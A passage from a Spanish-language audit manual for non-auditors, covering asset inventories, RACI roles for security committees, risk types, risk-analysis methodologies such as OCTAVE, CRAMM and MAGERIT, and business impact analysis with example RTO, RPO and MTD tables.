Evidentemente no hemos desplegados las especializaciones, dado que se trata de un diagrama simplificado a modo de ilustración y para asentar con otro ejemplo, la idea que los inventarios de costes contables no tienen por qué ser el único inventario, de la organización respecto a sus activos. Lo que sí es importante: es que este inventario, no contable, insistimos debe ser exacto y preciso tanto en la ubicación como en el número de elementos con configuraciones idénticas. Esto en cuanto a los activos físicos, los lógicos admiten mucha más especialización y diversificación, pero debemos tener siempre, presente que la granularidad debe ser la adecuada para los propósitos que perseguimos y que en el próximo capítulo expondremos. En cuanto a recursos humanos y sus habilidades podemos orientarnos por el organigrama formal de la organización, pero no es el único ya que con este coexisten, otros como, por ejemplo: las dependencias funcionales, las dependencias presupuestarias, las técnicas, por proyecto y todos ellas son importantes, dado que revelan información que para las auditorias de gestión resultan relevantes.

Página 26 de 430

Manual de Auditoria para no Auditores

En cuanto a los recursos humanos, siguiendo el organigrama funcional podemos usar dos estructuras básicas, para cruzar datos a posteriori una es estratificación típica por ejemplo una Matriz RACI©® y otra sería una más quizás más adecuada a nuestro propósito y relacionada no sólo con la posición jerárquica, sino con la función que desarrollaran durante el proceso de estudio profundo de la organización. Normas de uso de las Matrices RACI y RASCI.

Página 27 de 430

Manual de Auditoria para no Auditores

Dado que estamos construyendo organizaciones dentro de una ya constituida, con propósitos específicos, traslademos esto a los SGSIA/D y también a los SGAM. SGSI Id

Roll RACI

Roll SGSI

Funciones

R

Responsable

Vicedirector

A

Aprobador

Director

C

Consultado

Miembro

I

Informado

Miembro

Hace funciones de director, en ausencia de este, pero no puede tomar decisiones ejecutivas, si no desarrolla estas funciones planifica y coordina el calendario del comité y supervisa actas. Designa y destituye miembros del Comité asigna responsabilidades para la ejecución de tareas derivadas de las reuniones y reflejadas en las actas. Ejecutor de tareas e informante para el director y vicedirector es responsable del trabajo de inicio a fin. Tienen como misión la supervisión de las actividades de otros miembros.

Página 28 de 430

Manual de Auditoria para no Auditores SGA Id

Roll RACI

Roll SGA

R

Responsable

Vicedirector

A

Aprobador

Director

C

Consultado

Miembro

I

Informado

Miembro

Funciones Hace funciones de director, en ausencia de este, pero no puede tomar decisiones ejecutivas, si no desarrolla estas funciones planifica y coordina el calendario del comité y supervisa actas. Designa y destituye miembros del Comité dentro del área y asigna responsabilidades para la ejecución de tareas derivadas de las reuniones y reflejadas en las actas. Ejecutor de tareas e informante para el director y vicedirector es responsable del trabajo de inicio a fin. Tienen como misión la supervisión de las actividades de otros miembros.

Una vez que tenemos nuestro inventario de activos, podemos ya empezar a desarrollar las primeras acciones necesarias tanto los Comités de los SGSI, así como los SGA, que consiste en determinar que sistemas son críticos, desde el punto de vista de negocio y sin los cuales la empresa puede colapsar, si no están disponibles y operativos antes de un determinado intervalo de tiempo. Aquí nos introducimos de plenos en dos normas ISO la 22301 cuya misión es garantizar la continuidad del negocio y la ISO 31000 gestión del riesgo. Ambas normas están íntimamente relacionadas, una carece de sentido sin la otra. Hablemos de los riesgos: Que son, de su clasificación, de su evaluación y de las salvaguardias o contramedidas que se pueden aplicar a cada caso de forma general. Definición de Riesgo. - Riesgo es la posibilidad en la que pueda producirse una acción que lleve consigo consecuencias negativas y nocivas. Al usar el concepto de riesgo nos referimos a las palabras amenazas y vulnerabilidad como conjunto. De esta manera es que se diferencia riesgo de amenaza, siendo la amenaza la causa de riesgo. Clasificación de tipos de los Riesgos. - Se enuncian como tipos de riesgos conocidos los siguientes: Físicos, Químicos, Biológicos, Ergonómicos, Psicosociales, entre otros, cuando hablamos del ámbito de las empresas los riesgos además de los ya enunciados, pueden ser los siguientes Riesgos EconomicoFinanceros, Riesgos Operacionales, Riesgos Tecnológicos y vamos a ver como se definen cada uno de estos tipos Riesgo Económico. Medida de las posibles eventualidades que pueden afectar al resultado de explotación de una empresa, que hacen que no se pueda garantizar ese resultado a lo largo del tiempo. Página 29 de 430

Manual de Auditoria para no Auditores El riesgo económico hace referencia a la incertidumbre producida en el rendimiento de la inversión debida a los cambios producidos en la situación económica del sector en el que opera. Así, a modo de ejemplo, dicho riesgo puede provenir de:    

La política de gestión de la empresa, La política de distribución de productos o servicios La aparición de nuevos competidores, La alteración en los gustos de los consumidores...

Este tipo de riesgo puede producir grandes pérdidas en un corto espacio de tiempo debido, por ejemplo, a la irrupción en el mercado de un producto más avanzado y barato que el de la empresa en cuestión... provocando grandes pérdidas en la empresa. (Riesgos económico y financiero - Juan Mascareñas UCM). Riesgo Financiero. También conocido como riesgo de crédito o de insolvencia. Hace referencia a las incertidumbres en operaciones financieras derivadas de la volatilidad de los mercados financieros y de crédito. Por ejemplo, a la incertidumbre asociada al rendimiento de la inversión debida a la posibilidad de que la empresa no pueda hacer frente a sus obligaciones financieras (pago de los intereses, amortización de las deudas). Es decir, el riesgo financiero es debido a un único factor: las obligaciones financieras fijas en las que se incurre.

El riesgo financiero está estrechamente relacionado con el riesgo económico puesto que los tipos de activos que una empresa posee y los productos o servicios que ofrece juegan un papel importantísimo en el servicio de su endeudamiento. (Riesgos económico y financiero - Juan Mascareñas UCM). Riesgo Operacional es aquel que puede provocar pérdidas debido a errores humanos, procesos internos inadecuados o defectuosos, fallos en los sistemas y como consecuencia de acontecimientos externos. Esta definición incluye el riesgo legal y excluye el riesgo estratégico y/o de negocio y el riesgo reputacional. El riesgo operacional es inherente a todas las actividades, productos, sistemas y procesos, y sus orígenes son muy variados (procesos, fraudes internos y externos, tecnológicos, recursos humanos, prácticas comerciales, desastres, proveedores). El riesgo Tecnológico tiene su origen en el continuo incremento de herramientas y aplicaciones tecnológicas que no cuentan con una gestión adecuada de seguridad. Su incursión en las organizaciones se debe a que la tecnología está siendo fin y medio de ataques debido a vulnerabilidades existentes por medidas de protección inapropiadas y por su constante cambio, factores que hacen cada vez más difícil mantener actualizadas esas medidas de seguridad. Página 30 de 430

Manual de Auditoria para no Auditores Riesgo Reputacional o de Marca o de Imagen. Es otra clase de riesgo que se define como el riesgo asociado a los cambios de percepción del Grupo, o de las marcas que lo integran, por parte de los grupos de interés (clientes, accionistas, empleados, etc.). El riesgo de crédito, el de mercado y el operacional pueden generar riesgo reputacional. El riesgo de reputación se analiza y evalúa en cada país con una metodología desarrollada de manera conjunta por Gestión Corporativa de Riesgo Operacional (GCRO) y por Comunicación y Marca/Responsabilidad y Reputación Corporativas. Cada país dispone de un Comité de Responsabilidad y Reputación Corporativas que evalúa e impulsa la gestión de esta clase de riesgo, debiendo tenerse en cuenta que los planes de acción pertenecen a las áreas de negocio y de soporte. Asimismo, en la matriz existe un Comité de Riesgos Sociales, Ambientales y Reputaciones que impulsa y coordina la gestión de este riesgo en el Grupo. Salvaguardia o Contramedidas son las medidas que se emplean para evitar los daños o las consecuencias derivadas del riesgo y su impacto materialización de. Deben ser adecuadas y proporcionales ejemplo de esto: los sistemas de detección de incendios, además de salvar vidas, ya que alertan de un fuego, sirven para que los medios disponibles: rociadores, extintores, sistema de CO2 el incendio no alcance un punto en que no sea gobernable. Existen muchas clases de contramedidas tantas como tipos de activo, el concepto es importante es que una contramedida es un sistema que en el menor de los casos aminorar el impacto hasta el punto en que la organización puede asumirlo exceptuando el caso de la pérdida de vidas humanas. Como se puede observar y deducir, todas las personas estamos manejando continuamente riesgos a diario y casi de forma inconsciente, pero cuando esto se traslada a una organización que puede ser nuestro cliente o puede ser nuestra propia organización, el enfoque debe ser profesional esto es el objetivo de la metodología de Análisis de Riesgo o Gestión del mismo. Las compañías de seguros son las precursoras de las mismas, ya que deben valorar todo y establecer en función de ello un precio a pagar (prima).

Página 31 de 430

Manual de Auditoria para no Auditores

Capítulo 4 La Gestión del Riesgo y la Continuidad del Negocio. ISO 22301 Lo primero es que una vez conocidos, mis activos, saber qué tipos de riesgos le pueden afectar y en qué medida a cada uno de ellos, es de suma importancia. En la figura se muestra cuáles son las actividades necesarias para efectuar el análisis, así como la gestión del Riesgo.

Facilitada por INCIBE.

Página 32 de 430

Manual de Auditoria para no Auditores Al final de este Manual se encuentran los libros de MAGERIT V 3.0 por si desea profundizar más en esta metodología en particular, ya que no se requiere permiso expreso, del autor para su uso. Veamos unas breves descripciones de otras metodologías empezando por… Octave. Una evaluación efectiva de riesgos en la seguridad de la información considera tanto los temas organizacionales como los técnicos, examina cómo la gente emplea la infraestructura en forma diaria. La evaluación es de vital importancia para cualquier iniciativa de mejora en seguridad, porque genera una visión a lo ancho de la organización de los riesgos. Para que una empresa comprenda cuáles son las necesidades de seguridad de la información, OCTAVE es una técnica de planificación y consultoría estratégica en seguridad basada en el riesgo. En contra de la típica consultoría focalizada en tecnología, que tiene como objetivo los riesgos tecnológicos y el foco en los temas tácticos, el objetivo de OCTAVE es el riesgo organizacional y el foco son los temas relativos a la estrategia y a la práctica. Cuando se aplica OCTAVE, un pequeño equipo de gente desde los sectores operativos o de negocios hasta los departamentos de tecnología de la información (IT) trabajan juntos dirigidos a las necesidades de seguridad, balanceando tres aspectos: Riesgos Operativos, Prácticas de seguridad Y Tecnología. Variantes de Octave. OCTAVE BASE El método fue desarrollado teniendo en cuenta grandes organizaciones de 300 o más empleados, pero el tamaño no fue la única consideración. Actividades relevantes del método Octave  Identificar los elementos críticos y las amenazas a esos activos.  La identificación de las vulnerabilidades, tanto organizativas y tecnológicas, que exponen a las amenazas, creando un riesgo a la organización.  El desarrollo de una estrategia basada en la protección de prácticas y planes de mitigación de riesgos para apoyar la misión de la organización y las prioridades. Estas actividades son apoyadas por un catálogo de buenas prácticas, así como encuestas y hojas de cálculo que se puede utilizar para obtener y captar información durante los debates y la solución de sesiones-problema.

Página 33 de 430

Manual de Auditoria para no Auditores Método OCTAVE-S: Fue desarrollado en respuesta a las necesidades de organizaciones más pequeñas alrededor de 100 personas o menos. Cumple con los mismos criterios que el método Octave, pero está adaptado a los limitados medios y restricciones únicas de las pequeñas organizaciones. Método OCTAVE ALLEGRO: Es una variante simplificada del método de Octave que se centra en los activos de la información. Igual que los anteriores métodos de Octave, Allegro se puede realizar de entrada en un taller de entorno colaborativo, pero también es muy apropiado para las personas que desean realizar la evaluación de riesgo sin una amplia participación de la organización o experiencia. CRAMM Es la metodología de análisis de riesgos desarrollado por el Centro de Informática y la Agencia Nacional de Telecomunicaciones (CCTA) del gobierno del Reino Unido. El significado del acrónimo proviene de CCTA Risk Análisis and Management Method. Su versión inicial data de 1987 y la versión vigente es la 5.2. Está basado en las mejores prácticas de la administración pública británica, por lo que es más adecuado para organizaciones grandes, tanto públicas como privadas. Características:          

Sirve para el análisis y gestión de riesgos. Aplica conceptos de una manera formal, disciplinada y estructurada. Orientada a proteger la confidencialidad, integridad y disponibilidad de un sistema y de sus activos. Que, aunque es considerada cuantitativa, utiliza evaluaciones cuantitativas y cualitativas, y por esto se considera mixta. Aplica a activos de modelado de dependencia Sirve para la evaluación de impacto empresarial Identificación y evaluación de amenazas y vulnerabilidades Evaluar los niveles de riesgo La identificación de los controles necesarios y justificados sobre la base de la evaluación del riesgo. Un enfoque flexible para la evaluación de riesgos.

Alcance: Es aplicable a todo tipo de sistemas y redes de información y se puede aplicar en todas las etapas del ciclo de vida del sistema de información, desde la planificación y viabilidad, a través del desarrollo e implementación del mismo. CRAMM se puede utilizar siempre que sea necesario para identificar la seguridad y/o requisitos de contingencia para un sistema de información o de la red. La metodología de CRAMM tiene tres etapas: La primera de las etapas recoge la definición global de los objetivos de seguridad entre los que se encuentra la definición del alcance, la identificación y evaluación de los activos físicos y software implicados, la determinación del valor de los datos en cuanto a impacto en el negocio y la identificación. Página 34 de 430

Manual de Auditoria para no Auditores En la segunda etapa de la metodología se hace el análisis de riesgos, identificando las amenazas que afecta al sistema, así como las vulnerabilidades que explotan dichas amenazas y por último el cálculo de los riesgos de materialización de las mismas. En la tercera etapa se identifican y seleccionan las medidas de seguridad aplicadas en la entidad obteniendo los riesgos residuales, CRAMM proporciona una librería de 3000 medidas de seguridad. A continuación, se gráfica estas tres etapas en el ciclo de CRAMM

Asimismo, Cramm calcula los riesgos para cada grupo de activos contra las amenazas a las que es vulnerable en una escala de 1 a 7, utilizando una matriz de riesgo con valores predefinidos comparando los valores de activos a las amenazas y niveles de vulnerabilidad. En esta escala, "1" indica una línea de base de bajo nivel de exigencia de seguridad y el “7 " indica un requisito de seguridad muy alto. Basándose en los resultados del análisis de riesgos, Cramm produce una serie de contramedidas aplicable al sistema o red que se consideran necesarias para gestionar los riesgos identificados. El perfil de seguridad recomendado a Página 35 de 430

Manual de Auditoria para no Auditores continuación se compara con los existentes para Contramedidas, luego de identificar las áreas de debilidad o de mayor exposición. Cramm contiene una gran selección predefinidas de contramedidas (alrededor de 3000), todas se reúnen en grupos y subgrupos con los mismos aspectos de seguridad, incluyendo, activos de software, hardware e incluso protecciones medioambientales. Por lo que se recomienda la utilización de una versión de prueba que puede ser descargada de su sitio Web. CRAMM se puede resumir en definitivo así:

Tras haber visto algunas de la metodologías más utilizadas y representativas para la gestión del riesgo veamos los riesgos tecnológicos que pueden, afectar al activo más importante de nuestra empresa. Extraído de la página web SearchDataCenter©® en español y redactado por la aseguradora Zúrich.

Página 36 de 430

Manual de Auditoria para no Auditores 1. Manejo de TI interno. El tener toda la estructura de TI internamente, sin subcontrataciones, puede dar una acumulación de problemas difíciles de manejar para una sola organización. 2. Asociaciones con contrapartes. Al trabajar en un proyecto conjunto con una organización externa, ya sea un competidor o socio, pueden existir riesgos de una interconexión directa entre ambas partes y que compartan información. 3. Subcontratación de servicios. Se tiene que tomar precauciones al tener proveedores externos de servicios, como Recursos Humanos, Legal o de TI; hay que revisar que no se compartan datos de más entre las dos partes. 4. Riesgos cibernéticos a cadenas de suministro. Las cadenas de suministro y logística tradicionales pueden sufrir severas interrupciones con ataques cibernéticos. 5. Tecnologías disruptivas. Las nuevas tecnologías, como las redes inteligentes, traen consigo nuevos efectos inadvertidos, que todavía no están en la mira de los profesionales de informática. 6. Infraestructura ascendente. Actualmente hay sociedades y economías que son sustentadas por infraestructuras informáticas, ya sean sus sistemas de electricidad o telecomunicaciones, que, de sufrir alteraciones, como una potencial regulación de Internet, crearían riesgos para cualquier organización. 7. Crisis externas. Los riesgos que están fuera del sistema, en los cuales la organización no tiene ningún control, tal como una pandemia de malware, pueden tener un efecto cascada. Aunque este artículo está escrito orientado hacia los directivos, veamos alguna metodología formal, para que, si Usted decide hacerlo, sepa cómo se hace y que datos son relevantes, para seleccionar las medidas adecuadas de salvaguardia o contramedidas. Una metodología europea denominada Magerit, versión 3 publicada en 2012 que es muy utilizada y que está muy difundida dentro de las Administraciones públicas y vemos que tipo de amenazas y vulnerabilidades están formalmente reconocidas por la misma.

Página 37 de 430

Manual de Auditoria para no Auditores Aunque con modificaciones mínimas aquí mostramos de una parte una lista de amenazas contempladas por MAGERIT, pero recomendamos la lectura del documento que enunciamos tras la exposición de esta lista. Amenaza/Activo Fuego Daños por agua Desastres naturales Fuga de información Introducción de falsa información Alteración de la información Corrupción de la información Destrucción de información Interceptación de información (escucha) Corte del suministro eléctrico Condiciones inadecuadas de temperatura o humedad Fallo de servicios de comunicaciones Interrupción de otros servicios y suministros esenciales Desastres industriales Degradación de los soportes de almacenamiento de la información Difusión de software dañino Errores de mantenimiento / actualización de programas (software) Errores de mantenimiento / actualización de equipos (hardware) Caída del sistema por sobrecarga Pérdida de equipos Indisponibilidad del personal Abuso de privilegios de acceso Acceso no autorizado Errores de los usuarios Errores del administrador Errores de configuración Denegación de servicio Robo Indisponibilidad del personal Extorsión Ingeniería social El INCIBE ha publicado un documento muy interesante, que añadimos al final de esta guía, orientada claramente hacia los empresarios y que nos muestra cual es la importancia de desarrollar de forma correcta tanto el Análisis de Riesgos y la aplicación de Contramedidas o Salvaguardias para cada tipo de activo. Hagamos pues un resumen gráfico hasta ahora de los pasos para comprender mejor el esquema de trabajo como proyecto. Página 38 de 430

Manual de Auditoria para no Auditores

Ahora se plantea el gran dilema, hasta ahora hemos sido autónomos y obrado de forma autodidacta. Pero necesitamos objetividad, ello implica recurrir a Consultoría externa, para verificar que: los planteamientos, la organización y el desempeño tanto de los SGSI, como los SGAs y la elaboración del mapa de riesgos y salvaguardias es correcto. Esta consultora externa desarrollará para nosotros una Auditoria y nos ofrecerá una visión objetiva de nuestros hallazgos o nos descubrirá nuevos hallazgos, que no afloraron en nuestras investigaciones. No podemos olvidar que la palabra Auditoria tiene una mala connotación en términos generales, por estar relacionada con las inspecciones fiscales, con delitos económico-financieros y con fraudes y estafas, de ahí que el comportamiento personal, en las organizaciones, se modifica de forma radical cuando se habla de la realización de una Auditoria y aparecen los auditores en escena. Lo más importante es que el mapa de riesgos este correctamente elaborado y el de las contramedidas también, es importante que tanto RR.HH como Legal, tengan presente que la Consultora externa, por no tener ningún tipo de implicaciones emocionales o personales es más objetiva, ya que el evaluar cualquier clase de trabajo, supone emitir un juicio, y cuando el valor del juicio discrepa del esperado, tanto recursos humanos RRHH como Legal se siente aludidos, pero siempre todo trabajo es susceptible de ser mejorado. 1 La imagen del Auditor no debe ser esta

Página 39 de 430

Manual de Auditoria para no Auditores Por ello la existencia de un departamento de Calidad, ayuda a la erradicación de los prejuicios sobre la Auditoria y los Auditores, al ser compañeros de trabajo a diario y ello facilita que no haya cambios drásticos, en la conducta, entre la ausencia y la presencia de Auditores externos. Es claro que va haber diferencias y discrepancias tanto en los inventarios como en la valoración de riesgos / amenazas y también en las contramedidas ahí: sí es necesario, alcanzar un compromiso de racionalidad, ese compromiso de racionalidad es la base para construir el proyecto de continuidad del negocio. Esta es la norma ISO 22301Continuidad del Negocio (Operaciones) suele ser encomendada a la gente de TIC / SI, pero es un error común dado que TIC / SI entiende de tecnología, pero entienden poco de regulaciones legales o financieras que afectan al negocio y es por ello, que deben ser los directores de cada área de negocio, quienes establezcan que sistemas son prioritarios y cuáles son los intervalos de tiempo máximo, que pueden no estar operativo los sistemas en las condiciones habituales. También deberán indicar medios alternativos, que garanticen tanto la no perdida de información como la no perdida de la capacidad operativa, pues mientras se restablecen los sistemas hardware software y comunicaciones, la actividad empresarial no cesa y ello supone, que se genera información nueva, que se ha de incorporar justo antes de producirse la disrupción a ser posible con el menor coste de tiempo y económico posible. TIC / SI deberá tener preparadas medidas alternativas o sistemas alternativos viables y deberá sincronizar periódicamente los repositorios de datos de estas alternativas para que el desfase entre datos reales y datos de respaldo sea el mínimo posible, también se debe prestar especial atención a la sincronización de las aplicaciones tanto comerciales como desarrollos internos aplicando la misma política que para los datos. Una vez conocido el mapa de sistemas críticos, según criterios de negocio, es cuando se pueden evaluar las diferentes alternativas tecnológicas y ver cuáles son utilizables por: coste y tiempo de implantación, incluyendo la adecuada formación de personal. Todo deriva de un informe de negocio conocido como BIA (Business Impact Analisys) en inglés y es interesante conocer cómo se calculan los valores, que nos indican de cuánto tiempo disponemos desde que se declara la disrupción de los servicios hasta volver a la situación predisrupción. Voy a tomar prestado de la Web de ESET algunos que conceptos que me parecen interesantes y que aclaran cual es la diferencia entre la gestión del riesgo y el impacto y como se traduce esto en el entorno de negocio.

Página 40 de 430

Manual de Auditoria para no Auditores El análisis de impacto al negocio (Business Impact Analysis o BIA por sus siglas en inglés) es otro elemento utilizado para estimar la afectación que podría padecer una organización como resultado de la ocurrencia de algún incidente o un desastre. A diferencia de una evaluación de riesgos, que se enfoca en cómo podría verse afectada una organización a través de la identificación, análisis y valoración de amenazas de seguridad con base en su impacto sobre los activos críticos y la probabilidad de ocurrencia, el BIA es un proceso más especializado en la identificación de los tipos de impacto, orientado en conocer qué podría verse afectado y las consecuencias sobre los procesos de negocio. También, el BIA puede ser considerado como una fase a ejecutar durante el desarrollo de un Plan de Recuperación ante Desastres (DRP), y por lo tanto de un Plan de Continuidad del Negocio (BCP), debido a que permite a las organizaciones estimar la magnitud del impacto operacional y financiero asociado a una interrupción. En esta entrega vamos revisar las características del BIA y el proceso asociado a su desarrollo. Características del análisis de impacto El Business Impact Analysis tiene dos objetivos principales; el primero de ellos consiste en proveer una base para identificar los procesos críticos para la operación de una organización. Una vez generado ese punto de partida, el segundo se refiere a la priorización de ese conjunto de procesos, siguiendo el criterio de cuanto mayor sea el impacto, mayor será la prioridad. El BIA está directamente relacionado con aquellos procesos que poseen un tiempo crítico para su operación, porque si bien todos los procesos sujetos a un tiempo crítico son de misión crítica, no todos los procesos de misión crítica están relacionados con un tiempo crítico para su ejecución. De manera adicional, el desarrollo de este análisis permite estimar los recursos necesarios para los procesos identificados, de manera especial para aquellos que representan mayor sensibilidad con relación al tiempo y el impacto. Para ello se define el Tiempo Objetivo de Recuperación (RTO por sus siglas en inglés), que es el período permitido para la recuperación de una función o recurso de negocio a un nivel aceptable luego de una interrupción o desastre, y el Punto Objetivo de Recuperación (RPO) que describe la antigüedad máxima de los datos para su restauración, es decir, la tolerancia que el negocio puede permitir para operar con datos de respaldo, por lo que el RPO estará en función de las actividades primordiales de una organización.

Página 41 de 430

Manual de Auditoria para no Auditores Consideraciones durante el desarrollo del BIA En general, los activos de soporte en las empresas están relacionados con las instalaciones, infraestructura de TI, software o hardware, entre otros, mismos que en ocasiones se vuelven indispensables para una actividad específica. En este sentido, la primera actividad para el desarrollo del análisis de impacto consiste en identificar los procesos y actividades relacionadas directamente con la misión y objetivos de la organización, su interacción con los activos de soporte, así como sus dependencias e insumos. Cuando se tiene esta información, se definen los valores para el RTO y RPO para cada una de las actividades, funciones o procesos considerados, así como otros elementos, por ejemplo, el tiempo de inactividad máximo tolerable (Máximum Tolerable Downtime, MTD) o la interrupción máxima tolerable (Máximum Tolerable Outage, MTO), es decir, el período máximo de no disponibilidad para las actividades, activos o procesos, antes de que la organización deje de operar. De forma paralela, es necesario también identificar los recursos y actividades requeridas para establecer las operaciones a un nivel de aceptable, en función del periodo de interrupción definido por las características y necesidades de la empresa. Como última actividad, se considera la generación de un informe que permita documentar todos los resultados obtenidos en los pasos anteriores, que proporcione información útil para la toma de decisiones de la alta dirección. Ventajas de la realización de un análisis de impacto El primer beneficio de la ejecución de un Business Impact Analysis es que puede ser utilizado como una de las fases iniciales para el desarrollo posterior de un DRP y en consecuencia de un BCP, al tiempo que permite identificar los recursos más importantes de una organización y el impacto que podría representar en caso de algún incidente o interrupción mayor. También puede ser utilizado como un elemento que complemente el desarrollo de una evaluación de riesgos, ya que se enfoca en la priorización de los procesos de negocio y en el impacto sobre éstos. En este punto, es importante mencionar que la evaluación de riesgos utiliza esta variable (impacto) y la probabilidad de ocurrencia de la materialización de una amenaza para llevar a cabo la valoración.

Página 42 de 430

Manual de Auditoria para no Auditores Finalmente, contribuye a mejorar el entendimiento sobre las afectaciones a la organización, así como de la manera de responder ante las mismas, por lo que también está relacionado con el plan de respuesta a incidentes. De esta forma, podemos observar su relación con otros elementos proactivos de seguridad de la información y las ventajas de su aplicación. Volvamos a construir un gráfico que nos situé de nuevo, una vez que hemos concluido este conjunto de actividades.

Hay que señalar que cada sector de negocio tiene sus propios BIAs, estos que mostramos son a modo de ejemplo y debe ser sólo una referencia que habrá de adecuarse al sector en cada caso. EVALUACIÓN DE IMPACTOS OPERACIONALES Teniendo en cuenta los elementos operacionales de la organización, se requiere evaluar el nivel de impacto de una interrupción dentro de la Entidad. El impacto operacional permite evaluar el nivel negativo de una interrupción en varios aspectos de las operaciones del negocio; el impacto se puede medir utilizando un esquema de valoración, con los siguientes niveles: A, B o C.

Página 43 de 430

Manual de Auditoria para no Auditores Nivel A: La operación es crítica para el negocio. Una operación es crítica cuando al no contar con ésta, la función del negocio no puede realizarse. Nivel B: La operación es una parte integral del negocio, sin ésta el negocio no podría operar normalmente, pero la función no es crítica. Nivel C: La operación no es una parte integral del negocio. TABLA DE EVALUACIÓN DE IMPACTOS OPERACIONALES Categoría (Función del Negocio)

Proceso (Servicios)

Nivel

Tolerancia a Fallas (Horas)

Aplicaciones

Sistema de Control de flujo de documentos

B

3

Web

Sitio web Entidad

A

1

Base de Datos

SQL nómina

A

1

Seguridad de Información

Firewall

A

1

Sistemas de Almacenamiento

SAN (Storage Área Network)

A

3

Comunicaciones

Acceso Local a Internet

C

4

Cuartos de Máquinas

Centro de Datos

A

1

Proveedores de Aplicaciones y/o comunicaciones

Interno/externo

B

2

Recurso Humano

Internos/externos

C

3

Descripción

Contenedor de aplicaciones Capa de presentación Contenedor de aplicaciones en SQL Servicio de firewall de la Entidad Capacidad de almacenamiento en SAN Comunicación de Internet del usuario local Servicio de Centro de datos de la Entidad Desarrollo Interno o contratado por externos. Canales de comunicaciones Profesionales encargados de administrar las infraestructuras de la Entidad

IDENTIFICACIÓN DE PROCESOS CRÍTICOS. La identificación de los procesos críticos del negocio se da con base en la clasificación de los impactos operacionales de las organizaciones, según esta tabla. Valor A B C

Interpretación del proceso crítico Crítico para el Negocio, la función del negocio no puede realizarse No es crítico para el negocio, pero la operación es una parte integral del mismo. La operación no es parte integral del negocio.

Página 44 de 430

Manual de Auditoria para no Auditores ESTABLECIMIENTO DE TIEMPOS DE RECUPERACIÓN. Una vez identificados los procesos críticos del negocio, se deben establecer los tiempos de recuperación que son una serie de componentes correspondientes al tiempo disponible para recuperarse de una alteración o falla de los servicios; el entendimiento de estos componentes es fundamental para comprender el BIA. Los tiempos de recuperación de describen a continuación: Tiempo de Recuperación RPO RTO WRT MTD

Descripción Magnitud de la pérdida de datos medida en términos de un periodo de tiempo que puede tolerar un proceso de negocio. Tiempo Disponible para Recuperar Sistemas y/o recursos que han sufrido una alteración. Tiempo Disponible para Recuperar Datos Perdidos una vez que los sistemas están reparados. Tiempo de Recuperación de Trabajo. Periodo Máximo Tiempo de Inactividad que puede tolerar la Entidad sin entrar en colapso. Tabla 3. Descripción de tiempos de recuperación

Una vez identificados los procesos críticos del negocio, función que hace parte del análisis de los impactos operacionales, se procede a identificar el MTD, que corresponde al tiempo máximo de inactividad que puede tolerar una organización antes de colapsar y se hace la clasificación a fin de priorizar la recuperación del proceso (servicio). Esto quiere decir que si por ejemplo un proceso tiene un periodo máximo de tiempo de inactividad (MTD) de un (1) día, este debe tener mayor prioridad para iniciar el evento de recuperación, en razón al poco tiempo de tolerancia de la inactividad, frente a otros que tienen mayor tolerancia. El siguiente ejemplo ilustra esta situación: Categoría (Función Crítica del Negocio) Aplicaciones Soporte Informático Aplicaciones Seguridad de Información Sistemas de Almacenamiento Comunicaciones Cuartos de Máquinas Soporte Informático

Proceso Crítico (Servicios)

MTD (en días)

Prioridad de Recuperación

Sistema de Control de flujo de documentos Dispositivos Móviles Sistema de Nómina

2 días

3

2 días 0.5 día*

3 1

Firewall

0.5 día*

1

SAN (Storage Área Network)

1 día

2

Servicio WiFi Centro de Datos Equipo PC de usuario

1 día 0.5 día* 3 días

2 1 4

*: Corresponde al tiempo de inactividad del proceso crítico del negocio, que tomaría menos de un (1) día de tolerancia de inactividad del servicio.

Página 45 de 430

Manual de Auditoria para no Auditores IDENTIFICACIÓN DE RECURSOS Las diferentes actividades contempladas en la función crítica del negocio deben considerarse de vital importancia cuando apoyan los procesos críticos del negocio; por lo tanto, es clave en este punto, la identificación de recursos críticos de Sistemas de Tecnología de Información que permitan tomas acciones para medir el impacto del negocio de las Entidades. La siguiente tabla representa un ejemplo de identificación de recursos críticos de Sistemas de Tecnologías de Información.

Negocio

Procesos Críticos (Servicios)

Aplicaciones

Sistema de nómina

Seguridad de Información

Firewall

Comunicaciones

Servicio WiFi

Cuartos de Máquinas

Centro de Datos

Identificación de recursos críticos de Sistemas TI Sistema de entrada de novedades administrativas. Interfaces con el Sistema Financiero. Reglas de entrada y salida de puertos. Reglas NAT/PAT. Direccionamiento IP público. Control de identificación usuarios con Portal Cautivo. Control de usuarios locales Vs Invitados. Control de operaciones de Servidores, Equipos de Comunicaciones, Sistemas de Almacenamiento, Sistemas de Backups, Aire Acondicionado, Acometida

DISPOSICIÓN DE LOS RTO/RPO (RECOVERY TIME OBJECTIVE / RECOVERY POINT OBJECTIVE) RTO: Tiempo de Recuperación Objetivo: Asociado con la restauración de los recursos que han sido alterados de las Tecnologías de la Información; comprende el tiempo disponible para recuperar recursos alterados. Adicionalmente, se aplica el WRT, es decir el tiempo que es requerido para completar el trabajo que ha estado interrumpido con el propósito de volverlo a la normalidad. La siguiente tabla muestra un ejemplo de valores RTO/WRT para el proceso crítico de la operación del Centro de Datos de una organización. Categoría (Función Crítica del Negocio) Cuartos de Máquinas

Procesos Críticos (Servicios)

Centro de Datos

Identificación de recursos críticos de Sistemas TI Control de operaciones de Servidores. Sistemas de

Tiempo de Recuperación Objetivo – RTO 1 día 0.5 día 1.5 días 1 día

Tiempo de Recuperación de Trabajo – WRT 1 día 0.5 días 1 día 0.5 día Página 46 de 430

Manual de Auditoria para no Auditores Almacenamiento. Sistemas de Backups. Aire Acondicionado Acometida Eléctrica

0.5 día

0.5 día

 RPO: Punto de Recuperación Objetivo: Este punto es importante para determinar por cada uno de los procesos críticos (servicios), el rango de tolerancia que una Entidad puede tener sobre la pérdida de información y el evento de desastre. IDENTIFICACIÓN DE PROCESOS ALTERNOS.

La identificación de procesos alternos hace posible que los procesos del negocio puedan continuar operando en caso de presentarse una interrupción; para ello es oportuno que las Entidades tengan métodos alternativos de manera temporal que ayuden a superar la crisis que ha generado una interrupción; por lo tanto, para cada proceso crítico que se establezca (en los servicios), se debe poseer un procedimiento manual de continuidad del servicio. GENERACIÓN DE INFORME DE IMPACTO DEL NEGOCIO.

En este punto es necesario presentar un informe de impacto de negocio que corresponde a la guía para el BIA con los siguientes resúmenes: Listado de procesos críticos Listado de prioridades de sistemas y aplicaciones Listado de tiempos MTD, RTO y RPO Listado de procedimientos alternos. FASE DE GESTIÓN DEL RIESGO

